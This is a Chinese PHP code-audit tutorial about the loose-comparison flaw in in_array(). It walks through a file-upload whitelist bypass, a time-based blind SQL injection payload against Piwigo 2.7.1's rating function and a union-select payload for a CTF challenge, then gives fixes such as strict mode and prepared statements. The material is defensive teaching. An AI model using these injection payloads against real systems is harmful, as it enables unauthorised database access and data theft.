[红日安全]代码审计Day1 - in_array函数缺陷
字数 1070 2025-08-29 08:32:24
PHP代码审计:in_array()函数缺陷与安全风险
1. in_array()函数基础
1.1 函数定义
in_array()是PHP中用于检查数组中是否存在某个值的函数,其定义如下:
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
$needle: 要搜索的值$haystack: 要搜索的数组$strict: 是否进行严格类型检查(默认为FALSE)
1.2 弱类型比较问题
当$strict参数为FALSE(默认值)时,in_array()会进行弱类型比较,可能导致意外的类型转换:
$array = array(1, 2, 3, 4, 5);
var_dump(in_array('2abc', $array)); // 返回true,因为'2abc'被强制转换为数字2
2. 安全漏洞实例分析
2.1 文件上传绕过案例
原始代码片段:
$whitelist = range(1, 24);
if (!in_array($_POST['file_id'], $whitelist)) {
die('Invalid file ID');
}
// 允许上传文件
漏洞利用:
攻击者可提交7shell.php作为文件ID:
in_array()将'7shell.php'强制转换为数字7- 数字7在1-24范围内
- 绕过安全检查,实现任意文件上传
2.2 SQL注入案例(Piwigo 2.7.1)
漏洞位于include/functions_rate.inc.php:
function rate_picture($image_id, $rate) {
global $conf;
// 不安全的使用in_array
if (!in_array($rate, $conf['rate_items'])) {
die('Invalid rating value');
}
// 直接拼接$rate到SQL语句
$query = 'INSERT INTO piwigo_rate (user_id, element_id, rate) VALUES ('.$user_id.', '.$image_id.', '.$rate.')';
// 执行SQL...
}
$conf['rate_items']定义为array(0,1,2,3,4,5)
漏洞利用:
提交rate=1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)))#
生成的SQL语句:
INSERT INTO piwigo_rate (user_id, element_id, rate)
VALUES (2, 1, 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)))#)
3. CTF题目分析
3.1 题目代码
// 获取用户数量并生成白名单
$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
// 获取用户输入
$id = stop_hack($_GET['id']);
// 白名单检查
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
// 执行SQL查询
$sql = "SELECT * FROM users WHERE id= $id";
$result = $conn->query($sql);
3.2 漏洞点
in_array()未启用严格模式stop_hack()函数过滤不完整- SQL语句直接拼接用户输入
3.3 利用方法
假设users表有5条记录,白名单为array(1,2,3,4,5)
Payload示例:
?id=1 union select 1,flag,3,4 from flag
由于in_array()的弱类型比较:
'1 union select 1,flag,3,4 from flag'被强制转换为数字1- 数字1在白名单中
- 绕过检查,执行SQL注入
4. 修复建议
4.1 启用严格模式
// 安全用法
if (!in_array($value, $array, true)) {
die('Invalid value');
}
4.2 类型强制转换
// 确保比较的是相同类型
$value = (int)$value;
if (!in_array($value, $array)) {
die('Invalid value');
}
4.3 使用正则表达式验证
if (!preg_match('/^\d+$/', $value) || !in_array($value, $array, true)) {
die('Invalid value');
}
4.4 参数化查询
对于SQL注入防护:
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
5. 总结
in_array()默认的弱类型比较可能导致安全绕过- 类型转换问题常出现在文件上传、权限检查、输入验证等场景
- 结合SQL注入时危害更大
- 修复关键是启用严格模式或确保类型一致性
- 防御需要多层次:输入验证、参数化查询、输出编码等
6. 扩展思考
- PHP中其他存在弱类型比较问题的函数:
array_search()、==比较等 - 类似漏洞在自动化漏洞扫描中可能被忽略
- 开发中应建立安全编码规范,避免此类问题